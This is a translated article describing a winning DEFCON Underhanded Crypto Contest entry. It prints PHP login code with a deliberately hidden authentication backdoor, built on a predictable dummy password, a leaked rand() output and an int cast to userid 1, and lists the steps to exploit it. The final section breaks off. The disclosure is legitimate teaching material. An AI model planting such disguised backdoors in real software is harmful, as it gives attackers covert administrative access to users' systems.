<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/web/11861

    原文地址:https://stackoverflow.com/a/15494343/2224584

    0x00 導言


    通俗地說,“后門”通常是計算機犯罪分子在首次攻陷系統之后留下的一個程序代碼,以便于將來再次訪問該系統。

    但是,后門還可以是故意安插在軟件項目中的安全漏洞,以便于攻擊者將來通過它來控制你的系統。下面,我們就專門來討論一下第二種情形。

    本文將涉及許多具體代碼,如果乍看看不明白也不要緊,可以直接跳過,我會隨后對其進行詳盡的介紹。

    0x01 卑鄙密碼競賽


    繼“卑鄙C程序大賽”之后,從2015開始,Defcon黑客大會又推出了“卑鄙密碼競賽”,以尋找和備案那些能夠巧妙地顛覆加密代碼的最好方法。在DEFCON 23大會上進行了兩項賽事:

    1. GnuPG后門。
    2. 口令認證后門。

    我參加了第二項賽事,并最終獲勝。 在本文中,我將介紹自己參賽作品的運行機制,如何讓干邪惡勾當的代碼看上去道貌岸然,以及這些對軟件開發的直接影響。

    0x02 如何重新設計口令認證后門


    首先,我們假設政府工作人員發現了本博主,并希望雇傭我去實現一個后門。

    第一步:杜撰一個非常棒的封面故事。

    就在DEFCON 23開會之前,密碼專家Scott Contini剛剛發布了一篇介紹時序邊信道攻擊枚舉用戶帳戶的文章,其工作原理如下所示:

    1. 假設你想通過用戶名與口令登錄web應用。
    2. 這個用戶名是否已經注冊? 如果是,就繼續。否則顯示“bad username/password”。
    3. 然后驗證口令,實際上就是驗證該口令的哈希值是否匹配。如果不匹配的話,就返回“bad username/password”。
    4. 如果通過了第3步,那么這個用戶就算是通過了認證。

    站在攻擊者的角度來看,令第二個步驟失效要比讓第三個步驟失效更能節約時間。如這樣做的話,即使其他部分牢不可破,攻擊者仍然可以發送成批的請求來找出有效的用戶名。

    時序泄漏實際上就是后門的一座金礦,因為大部分程序員都不了解這一安全概念,而理解這一概念的信息安全專家又不是程序員。即使你編寫的與加密有關的代碼安全性非常差,大部分開發人員也不會看出什么門道,因為他們知道的并不比你更多。但如果我們這樣做的話,比賽就會很無聊。

    到目前為止,我們的總體規劃是這樣的:

    1. 推薦一個解決方案,偽稱可以解決基于時序攻擊的賬戶枚舉漏洞。
    2. 然后在我們的解決方案中隱藏一個后門。
    3. 同時要注意偽裝,使其即使在普通的開發人員面前也不會因引起他們的警覺。

    第二步:設計階段

    下面是TimingSafeAuth類的完整代碼:

    #!php
    <?php
    
    /**
     * A password_* wrapper that is proactively secure against user enumeration from
     * the timing difference between a valid user (which runs through the
     * password_verify() function) and an invalid user (which does not).
     */
    class TimingSafeAuth
    {
        private $db;
        public function __construct(\PDO $db)
        {
            $this->db = $db;
            $this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT);
        }
    
        /**
         * Authenticate a user without leaking valid usernames through timing
         * side-channels
         *
         * @param string $username
         * @param string $password
         * @return int|false
         */
        public function authenticate($username, $password)
        {
            $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username");
            if ($stmt->execute(['username' => $username])) {
                $row = $stmt->fetch(\PDO::FETCH_ASSOC);
                // Valid username
                if (password_verify($password, $row['password'])) {
                    return $row['userid'];
                }
                return false;
            } else {
                // Returns false
                return password_verify($password, $this->dummy_pw);
            }
        }
    }
    

    當timingsafeauth類被實例化時,它會創建一個啞口令(dummy password) ,這是由于調用函數noise()(它改編自anchorcms,定義如下)所致:

    #!php
    /**
     * Generate a random string with our specific charset, which conforms to the
     * RFC 4648 standard for BASE32 encoding.
     *
     * @return string
     */
    function noise()
    {
        return substr(
            str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz234567', 16)),
            0,
            32
        );
    }
    

    一定要記住這個noise()函數,因為它是后門的關鍵所在。

    當我們實例化了所有登錄腳本都需要的timingsafeauth對象之后,它最終會將一個用戶名和密碼傳遞給timingsafeauth -> authenticate(),這將執行一個數據庫查詢,然后執行下面兩件事之一:

    1. 如果用戶名被發現,那么就驗證提供的口令,方法是比較該用戶相應文件的bcrypt哈希值進行匹配,具體要用到password_verify()函數。
    2. 否則,利用提供的口令和偽造的bcrypt哈希值作為參數來調用password_verify()

    由于$->dummy_pw是隨機生成的字符串的bcrypt哈希值,因此,我們總是希望上面的第二種選擇失敗而返回false,但這個過程總是需要花費大約相同的時間(從而隱藏時序側信道),對嗎?

    0x03 藏在眼皮底下的漏洞


    好吧,最大的謊言就藏在這里:

    #!php
    // Returns false
    return password_verify($password, $this->dummy_pw);
    

    當然這個函數并不會總是返回false值,如果攻擊者猜到了$this->dummy_pw里面的“啞口令”的話,它就能夠返回true值了。正確的實現如下所示:

    #!php
    password_verify($password, $this->dummy_pw);
    return false;
    

    讓我們假設審計人員在沒有明確證據面前會對這段代碼作出無罪推定。“如果我的啞口令是硬編碼的話,肯定會引起別人的關注,但是這里它是隨機生成的,因此它總能夠避免引起別人的懷疑,對吧?”

    不! 因為從密碼學的角度來看,str_shuffle()函數算不上安全的偽隨機數發生器。要理解這一點,我們必須來考察一下str_shuffle()函數的PHP實現代碼:

    #!php
    static void php_string_shuffle(char *str, zend_long len) /* {{{ */
    {
        zend_long n_elems, rnd_idx, n_left;
        char temp;
        /* The implementation is stolen from array_data_shuffle       */
        /* Thus the characteristics of the randomization are the same */
        n_elems = len;
    
        if (n_elems <= 1) {
            return;
        }
    
        n_left = n_elems;
    
        while (--n_left) {
            rnd_idx = php_rand();
            RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
            if (rnd_idx != n_left) {
                temp = str[n_left];
                str[n_left] = str[rnd_idx];
                str[rnd_idx] = temp;
            }
        }
    }
    

    你注意到rnd_idx = php_rand();這一行了嗎? 對于rand(),是一個常見的線性同余隨機數生成器,重要的是這種類型的隨機數生成器是可破解的,具體可以參考https://stackoverflow.com/a/15494343/2224584

    下面我們簡單的回顧一下:

    ? 如果你猜中了啞口令,那么函數TimingSafeAuth->authenticate()就會返回true。 ? 這個啞口令是由一個不安全的,并且是可預測的隨機數生成器生成的,這個隨機數生成器取自一個現實中的PHP項目。 ? 只有那些非常熟悉密碼學以及精通PHP的開發人員才會意識到這里隱藏的危險。

    這個是有用的,但沒有多少可利用性。在接下來的實現階段,我們就會把這個故意設計的安全漏洞安插到我們的代碼之中。

    第三步:實現后門

    我們的登錄表單大致如下所示:

    #!php
    <?php
    # This is all just preamble stuff, ignore it.
    require_once dirname(__DIR__).'/autoload.php';
    $pdo = new \PDO('sqlite:'. dirname(__DIR__) . '/database.sql');
    session_start();
    
    # Start here
    if (!isset($_SESSION['userid'])) {
        # If you aren't currently logged in...
        if (!empty($_POST['csrf']) && !empty($_COOKIE['csrf'])) {
            # If you sent a CSRF token in the POST form data and a CSRF cookie
            if (hash_equals($_POST['csrf'], $_COOKIE['csrf'])) {
                # And they match (compared in constant time!), proceed
                $auth = new TimingSafeAuth($pdo);
                # Pass the given username and password to the authenticate() method.
                $userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
                # Take note of the type cast to (int).
                if ($userid) {
                    // Success!
                    $_SESSION['userid'] = $userid;
                    header("Location: /");
                    exit;
                }
            }
        }
        # This is the login form:
        require_once dirname(__DIR__).'/secret/login_form.php';
    } else {
        # This is where you want to be:
        require_once dirname(__DIR__).'/secret/login_successful.php';
    }
    

    現在,我們來看最后一個代碼塊(login_form_.PHP,該代碼用來給未授權的用戶生成登錄表單):

    #!php
    <?php
    if (!isset($_COOKIE['csrf'])) {
        # Remember this?
        $csrf = noise();
        setcookie('csrf', $csrf);
    } else {
        $csrf = $_COOKIE['csrf'];
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Log In</title>
        <!-- # Below: We leak rand(); but that's totally benign, right? -->
        <link rel="stylesheet" href="/style.css?<?=rand(); ?>" type="text/css" /><?php /* cache-busting random query string */ ?>
    </head>
    <body>
    <form method="post" action="/">
        <input type="hidden" name="csrf" value="<?=htmlentities($csrf, ENT_QUOTES | ENT_HTML5, 'UTF-8'); ?>" />
        <table>
            <tr>
                <td>
                    <fieldset>
                        <legend>Username</legend>
                        <input type="text" name="username" required="required" />
                    </fieldset>
                </td>
                <td>
                    <fieldset>
                        <legend>Password</legend>
                        <input type="password" name="password" required="required" />
                    </fieldset>
                </td>
            </tr>
            <tr>
                <td colsan="2">
                    <button type="submit">
                        Log In
                    </button>
                </td>
            </tr>
        </table>
    </form>
    </body>
    </html>
    

    這段代碼主要就是生成一個完全正常的口令表單。它還包括基本的CSRF保護措施,也是由noise()來實現的。 每當你加載沒有cookie的頁面時,它都會由noise()生成的輸出來作為一個新的CSRF cookie。

    當然單靠這些我們就可以找出隨機數生成程序的種子值并預測出啞口令,但是,我們還可以進一步通過樣式查詢字符串來泄露rand()的輸出。 實際上,這個新的CSRF cookie對于在無需失敗的登錄嘗試的條件下來判斷noise()的預測是否成功非常有用。

    你有沒有注意到$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);這一行代碼呢? 它實際上就是我們后門中的另一行代碼。當轉換為整數的時候,PHP就會把true的值設置為1。在Web應用中,用戶標識符取值較低的,通常都與管理賬戶有關。

    0x04 利用方法


    將上面的所有信息綜合起來,你就會發現實際上利用方法非常簡單:

    1. 向登錄表單發送一些良性的請求,并且每次都要故意漏掉CSRF cookie,同時密切關注HTML中style.css后面的查詢字符串。
    2. 不要忘了你可以準確地預測下一個CSRF cookie,你可以將它作為隨機選擇的用戶名的一個口令。需要注意的是,這個用戶名必須足夠隨機,以確保它不是一個有效的用戶名。
    3. 最終會作為userid =1的用戶登錄。

    0x05 這個后門給我們的提示是什么?


    97av